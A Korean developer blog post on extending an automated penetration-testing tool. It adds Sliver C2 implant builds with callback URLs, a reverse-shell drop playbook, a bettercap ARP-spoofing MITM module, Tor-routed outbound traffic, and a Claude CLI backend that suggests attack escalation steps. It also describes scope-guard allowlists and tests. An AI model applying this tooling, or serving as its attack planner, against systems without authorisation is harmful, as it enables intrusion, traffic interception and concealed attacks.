autopwn 개발기 ⑤ — 킬체인이 진짜 "풀체인"이 된 날 (Sliver proto 지옥 · claude-shim · LAN MITM)

2026-05-20·1분 읽기·

autopwn 개발기 ⑤ — 킬체인이 진짜 "풀체인"이 된 날 (Sliver proto 지옥 · claude-shim · LAN MITM)

recon·exploit 까지만 돌던 파이프라인에 C2 implant 빌드와 post-ex, LAN MITM 을 붙여 킬체인을 닫았다. Sliver v1.7.3 의 protobuf field 번호가 sliver-py 와 어긋나 implant 빌드가 죽던 문제를 vendored proto + raw gRPC 로 우회하고, AI escalation 백엔드는 호스트의 claude CLI 를 thin proxy(claude-shim)로 분리했으며, pytest 50개로 처음 테스트 그물을 깔았다.

시리즈: autopwn 개발기 ⑤ 이전 글: ④ Homepage 어드민 콘솔과 AI 게이트의 3중 잠금 이 글의 범위: devlog-04 이후 — Sliver C2 풀체인, claude-shim AI 백엔드, LAN MITM 모듈, msf 옵션 노출, pytest 50개.


🧭 어디까지 왔나

4편까지의 autopwn 은 정직하게 말하면 반쪽짜리 킬체인이었다. recon 은 실전 검증까지 끝났고 web_vuln_chain 도 돌았지만, "킬체인" 이라 부르려면 빠진 게 둘 있었다 — C2 (implant 빌드 → 콜백 → post-exploitation)LAN 측면 이동의 출발점인 MITM.

스테이지devlog-04 시점지금
recon (nmap·SSE·scope)✅ 실전
exploit (nuclei·msf)✅ 부분✅ msf 옵션까지 노출
C2 (Sliver implant·session)⚠️ listener 만, implant 빌드 깨짐✅ vendored proto 로 복구
post-ex (session exec)
LAN MITM✅ bettercap 모듈
AI escalation✅ mock/hexstrike✅ claude-shim 분리
테스트❌ 0개✅ pytest 50개

이 글은 그 빈칸을 채운 5~7차 작업의 기록이다. 가장 피를 본 곳부터 시작한다.


🧨 Sliver — protobuf field 번호가 어긋난 지옥

reverse_shell_drop 플레이북의 마지막 퍼즐은 implant 바이너리 빌드였다. listener 생성·세션 목록은 sliver-py 로 잘 됐는데, generate_implant 만 호출하면 서버가 이걸 뱉었다:

proto: cannot parse invalid wire-format data
unmarshal: invalid UTF-8

원인을 추적하니 황당했다. sliver-py 0.0.19 가 들고 있는 ImplantConfig 스키마와 우리가 띄운 sliver-server v1.7.3client.proto 는 field 번호가 통째로 재정렬돼 있었다.

ImplantConfig field #2
 ├─ sliver-py 0.0.19  →  bool   IsBeacon
 └─ sliver v1.7.3     →  repeated ImplantBuild

protobuf 는 필드를 번호로 직렬화한다. 한쪽이 #2 를 bool 1바이트로 쓰고 다른 쪽이 그걸 repeated message 로 읽으면, bool 의 바이트가 message 길이로 해석되면서 "invalid UTF-8" 같은 엉뚱한 에러로 터진다. 클라이언트 라이브러리 버전을 핀으로 맞춰도, sliver-py 가 v1.7.3 에 대응하는 릴리스를 아직 안 냈으니 답이 없었다.

해법 — vendored proto + raw gRPC

라이브러리를 기다리는 대신, v1.7.3 의 .proto 를 직접 받아 stub 을 생성해서 repo 에 박았다.

api/vendor/sliver_proto/        ← v1.7.3 .proto 원본 (clientpb·commonpb·rpcpb·sliverpb)
api/app/sliver_v17/             ← 거기서 generate 한 _pb2.py stub

그리고 build_implant 어댑터는 sliver-py 의 ImplantConfig 를 안 쓰고, vendored stub 으로 직접 메시지를 만든 다음 sliver-py 가 이미 열어둔 gRPC 채널만 빌려서 raw unary 호출을 친다.

from sliver_v17.clientpb import client_pb2 as v17
 
c = await _client()                       # sliver-py SliverClient (연결·인증 재사용)
 
cfg = v17.ImplantConfig()
cfg.GOOS, cfg.GOARCH = body.os, body.arch
cfg.Format = 2                             # EXECUTABLE
cfg.IncludeHTTP = True
cfg.HTTPC2ConfigName = "default"           # ← 이거 안 넣으면 ErrRecordNotFound
c2 = cfg.C2.add(); c2.URL = body.callback; c2.Priority = 1
 
# sliver-py 의 내부 채널만 빌려 raw RPC. stub 의 service full-name 이
# 패키지명 때문에 안 맞아서 SliverRPCStub 은 못 쓰고 경로를 직접 지정한다.
channel = c._channel
save = channel.unary_unary(
    "/rpcpb.SliverRPC/SaveImplantProfile",
    request_serializer=v17.ImplantProfile.SerializeToString,
    response_deserializer=v17.ImplantProfile.FromString,
)

여기서 두 번 더 미끄러졌다:

  1. HTTPC2ConfigName 미설정 → ErrRecordNotFound. 서버가 implant 프로필을 저장할 때 HTTP C2 설정을 이름으로 조회하는데, 빈 문자열 "" 로 조회하면 레코드가 없다. sliver 가 부팅 시 자동 발급하는 "default" 를 명시해야 통과.
  2. 같은 이름 재빌드 → rename import dir: target exists. sliver builder 는 빌드별로 import 디렉토리를 만드는데 동명이 있으면 거부한다. implant-{os}-{arch}-{epoch} 로 이름에 timestamp suffix 를 박아 해결.

builder 는 별도 프로세스다

추가로 알게 된 것 — sliver v1.7+ 는 daemon 외에 builder 프로세스가 따로 떠 있어야 implant 가 컴파일된다. compose 에 같은 이미지로 sliver-builder 서비스를 하나 더 등록했다.

sliver-builder:
  image: ghcr.io/bishopfox/sliver:v1.7.3
  command: ["sliver-server", "builder", "-L", "sliver"]
  depends_on: [sliver]

최종 흐름:

build_implant 어댑터
   │  vendored v17 stub 으로 ImplantConfig 직접 조립

/rpcpb.SliverRPC/SaveImplantProfile   (HTTPC2ConfigName="default")


/rpcpb.SliverRPC/Generate             (sliver-builder 가 실제 컴파일, timeout 360s)


/shared/implants/implant-linux-amd64-<epoch>.bin
   │  docker volume 으로 msf 컨테이너와 공유

msf.drop_implant → session.upload → 타깃에서 실행 → 콜백

이걸로 reverse_shell_drop 이 listener → implant → 콜백 → sliver.exec 까지 한 줄로 닫혔다. 킬체인의 C2 칸이 진짜로 채워진 순간이다.

교훈: 벤더 라이브러리가 서버 버전을 못 따라올 때, proto 는 결국 bytes 계약이라 stub 만 맞으면 채널은 빌려 쓸 수 있다. 라이브러리 fork 보다 vendored stub + raw RPC 가 유지보수 면적이 작았다.


🤖 claude-shim — API 키 없이 Claude 를 escalation 백엔드로

4편의 AI escalation 은 mock / hexstrike 백엔드였다. 실전에서 쓸 추론 백엔드가 필요했는데, 선택지는 둘:

  • Anthropic Console API 키AI_BACKEND=claude. 동작하지만 별도 과금 키 발급·관리.
  • 호스트의 claude CLI — 이미 OAuth 로그인된 구독 안에서 추론. 키 발급 0.

후자를 택했다. 문제는 autopwn-api 가 컨테이너 안에서 돌고 claude 바이너리는 호스트에 있다는 것.

안 한 선택 — ~/.claude 바인드 마운트

처음엔 컨테이너에 ~/.claude 를 바인드 마운트할까 했다. 안 했다. OAuth 토큰을 컨테이너 파일시스템에 노출시키는 셈이고, 컨테이너가 호스트의 단일 셋업에 강하게 묶인다.

한 선택 — 호스트에 thin proxy 를 띄운다

대신 호스트에 claude-shim 이라는 작은 FastAPI 를 띄우고, autopwn-api 는 그걸 HTTP 로 부른다.

autopwn-api (컨테이너)
   │  POST host.docker.internal:8090/suggest
   │  { system, user, model, schema }

claude-shim (호스트, 127.0.0.1 only, Basic auth)
   │  subprocess: claude -p --output-format json
   │              --json-schema <schema> --tools "" --disable-slash-commands

{ ok, structured_output, total_cost_usd, raw_envelope }

shim 이 subprocess 격리·OAuth 인증·structured JSON 정규화를 전부 떠안고, 컨테이너는 OAuth 토큰을 영영 못 본다. claude 호출 옵션이 핵심:

  • --tools "" — LLM 에게 도구를 일절 안 준다. 추론만.
  • --disable-slash-commands — 입력이 슬래시로 시작해도 명령으로 안 샌다.
  • --json-schema <schema> — escalation 이 기대하는 {rationale, suggested_next[]} 스키마를 강제. 응답은 envelope 의 structured_output 에 담긴다 (이 모드에선 result 는 비어 있다 — 파싱할 때 주의).
# escalation.py — claude_cli 백엔드
async with httpx.AsyncClient(timeout=200, auth=auth) as client:
    r = await client.post(f"{s.claude_shim_url}/suggest", json={
        "system": _CLAUDE_SYSTEM, "user": user_msg, "model": model, "schema": schema,
    })
    envelope = r.json()
 
parsed = envelope.get("structured_output")     # JSON-schema 모드는 여기에

⚠️ shim 은 subprocess 로 명령을 실행하는 컴포넌트다. 그래서 127.0.0.1 밖으로는 절대 listen 안 하고, Basic auth 를 hmac.compare_digest 로 비교하고, UFW 룰 한 줄로 격리한다. 설치는 ops/claude-shim/install.sh 한 방.

비용 가드는 코드로

유료 백엔드(claude·claude_cli·hexstrike)에는 Redis 기반 비용 cap 을 박았다. AI 가 옵션이라는 원칙은 "켜고 끄기" 만으론 부족하고, 켜졌을 때 폭주를 막아야 한다.

# per-run 누적: autopwn:ai:cost:run:{run_id}
# daily-global:  autopwn:ai:cost:day:{YYYY-MM-DD}
if s.ai_backend in {"claude", "claude_cli", "hexstrike"}:
    block = await _check_budget(run_id)        # hard cap 확인
    if block:
        await publish(..., {"type": "ai.blocked_by_budget", ...})
        return None                            # escalation 자체를 차단

shim 이 정규화해준 total_cost_usd 를 호출마다 적립하고, per-run·daily cap 을 넘으면 escalation 을 호출 전에 끊는다. 임계치(예: daily 80%)를 넘으면 ai.budget.threshold SSE 이벤트가 어드민 라이브뷰로 흐른다. 비용이 정책 문서가 아니라 게이트가 됐다.


🕸️ LAN MITM — bettercap, host network, 그리고 scope guard 예외

킬체인의 또 다른 빈칸은 LAN 내부에서의 측면 이동 출발점. mitm 모듈을 새로 붙였다.

ARP spoof / sniffer / HTTP proxy / sslstrip 은 bettercap 이 가장 깔끔하다. 다만 두 가지가 다른 어댑터들과 다르다:

  1. host network 모드. ARP 는 raw L2 패킷이라 docker bridge NAT 안에선 의미가 없다. bettercap 컨테이너는 network_mode: host 로 호스트 LAN 에 직접 붙고, autopwn-api 는 host.docker.internal:8081 의 bettercap REST API 를 친다.
  2. PROXY_CHAIN 무시. 이 repo 의 철칙은 "모든 outbound 는 proxychains+Tor" 다. 하지만 LAN MITM 은 같은 브로드캐스트 도메인에 대한 직접 공격이라 Tor 로 보낼 outbound 자체가 없다. 그래서 mitm 어댑터만 명시적으로 PROXY_CHAIN 을 우회한다 — 대신 그 예외를 모듈 docstring 에 못박았다.

예외를 하나 열었으니 가드는 더 조인다. scope_guard.require() 를 target 과 gateway 양쪽 모두에 건다. allowlist 의 networks: 에 victim IP 와 gateway 가 다 들어있지 않으면 fail-closed.

# mitm.py — 진입부
scope_require(target)        # victim
scope_require(gateway)       # LAN gateway

그리고 lan_mitm 플레이북은 disallow_ai: true. bettercap 은 실 ARP·raw socket 을 만지므로 AI 가 step 을 자동 변형하게 두면 안 된다 — 4편의 "per-playbook disallow" 잠금이 여기서 그대로 일한다.

# api/playbooks/lan_mitm.yaml
name: lan_mitm
disallow_ai: true            # ← 실 ARP/raw socket — 자동 변형 금지
steps:
  - id: arp_spoof
    tool: mitm.arp_spoof
    args: { gateway: "{{ vars.gateway }}", sniff: "{{ vars.sniff }}", ... }

/mitm/start · /mitm/stop · /mitm/sessions · /mitm/events 라우터, mitm.* SSE 이벤트 타입, 그리고 어드민/ Zino 양쪽 DTO 까지 동기화했다.


🧰 잔손질 — msf 옵션 노출 + 플레이북 8개

작지만 막혀 있던 둘:

msf 모듈 옵션. msf.run_exploit 어댑터는 원래 options dict 를 받을 수 있었는데, 플레이북 YAML 에서 그걸 넘길 통로가 없었다. log4shell 처럼 TARGETURI · SRVHOST 같은 모듈별 옵션이 필요한 익스는 그래서 자동화가 안 됐다. reverse_shell_dropoptions 패스스루를 뚫었다.

- id: exploit
  tool: msf.run_exploit
  args:
    module: "{{ vars.msf_exploit }}"
    options: "{{ vars.msf_options }}"   # ← 모듈별 옵션 dict 그대로 전달

플레이북 8개 추가. recon 커버리지를 넓혔다 — db_recon · dns_recon · k8s_recon · recon_deep · smb_enum · ssh_audit · tls_audit · wordpress_audit. 전부 기존 어댑터 조합이라 코드 변경 없이 YAML 만으로. C2·익스를 끼는 플레이북이 아니라 disallow_ai 는 안 걸었다.


🧪 pytest 50개 — 처음으로 깐 테스트 그물

여기까지 오면서 가장 불편했던 건 회귀를 잡아줄 그물이 없다는 것. 어댑터를 건드릴 때마다 docker compose 를 통째로 띄워 손으로 확인했다. 5~7차의 변경 면적이 커지면서 더는 안 됐다.

pytest 를 들이고 순수 함수·정책 로직 위주로 50개를 깔았다 — 컨테이너·네트워크 없이 도는 것만.

파일개수무엇을 잠그나
test_scope_guard.py11allowlist 매칭, CIDR, fail-closed, step dict 검증
test_alerts.py14webhook 알림 페이로드·라우팅
test_escalation_budget.py9per-run·daily cap, 임계치 이벤트
test_runner_render.py8{{ vars.* }} 템플릿 렌더, defaults 머지
test_mitm_coerce.py6"true"/"false" 문자열 → bool 강제
test_nmap_parse.py2nmap XML → findings 파싱

가장 값어치 있는 건 test_scope_guard 다. scope guard 가 풀리면 이 도구의 합법성 전제가 통째로 무너진다. 그게 11개 테스트로 고정됐다 — 빈 allowlist 는 모두 거부, CIDR 경계, AI 제안 step 의 tool 화이트리스트까지.

def test_empty_allowlist_denies_everything():
    assert scope_guard.check("8.8.8.8") is False      # fail-closed
 
def test_ai_step_rejects_unknown_tool():
    with pytest.raises(ScopeError):
        validate_step_dict({"tool": "rm", "args": {}}, ADAPTERS, target)

CI 는 아직 안 걸었지만 (다음 항목), 로컬에서 pytest 한 줄이 50개를 0.x초에 돌린다. 어댑터 리팩터의 심리적 비용이 확 떨어졌다.


✅ 검증 현황

검증상태메모
Sliver implant 빌드 (vendored proto)SaveImplantProfile → Generate 성공, .bin 산출
reverse_shell_drop 풀체인listener → implant → 콜백 → sliver.exec
claude-shim /suggest 추론opus-4-7, structured_output 파싱, 비용 적립 확인
AI 비용 cap → ai.blocked_by_budgetper-run cap 초과 시 escalation 차단
lan_mitm ARP spoof + sniffbettercap host-net 컨테이너 기동 후 실 LAN 검증
pytest 50개pytest 전부 green
신규 플레이북 8개 manifest 노출/modules/manifest 에 자동 등재

🚀 다음 단계

  • pytest → CI — GitHub Actions 에서 push 마다 pytest. scope guard 회귀를 사람 손에 안 맡긴다.
  • AI 비용 트래킹 UI — cap·임계치는 코드에 있는데 누적 비용·호출 횟수를 어드민에 노출하는 화면은 미구현.
  • LAN MITM 실 검증 — 본인 LAN 에서 bettercap host-net 컨테이너로 ARP spoof → sniff 까지 E2E.
  • Zino 앱 동기화mitm.* 이벤트·DTO 가 추가됐으니 :modules:autopwn 도 따라가야 한다.

📝 정리

  • 킬체인이 풀체인이 됐다 — C2 implant 빌드와 post-ex, LAN MITM 이 붙어 recon→exploit→C2→post-ex 가 한 줄로 닫혔다.
  • Sliver proto 지옥 — sliver-py 0.0.19 vs 서버 v1.7.3 의 field 번호 불일치. 라이브러리 fork 대신 vendored proto stub + 채널 빌려쓰는 raw gRPC 로 우회.
  • claude-shim~/.claude 바인드 마운트 대신 호스트 thin proxy. OAuth 토큰을 컨테이너에 안 노출하고, --tools "" --json-schema 로 LLM 을 추론 전용으로.
  • 비용도 게이트 — 유료 AI 백엔드에 Redis per-run·daily cap. 넘으면 escalation 을 호출 전에 차단.
  • MITM 의 예외는 명시적으로 — host network + PROXY_CHAIN 우회를 열되, scope guard 를 target·gateway 양쪽에 걸고 disallow_ai 로 조였다.
  • 테스트 그물 — pytest 50개. 그중 scope guard 11개가 이 도구의 합법성 전제를 고정한다.
ShareX

이 글이 도움이 됐나요?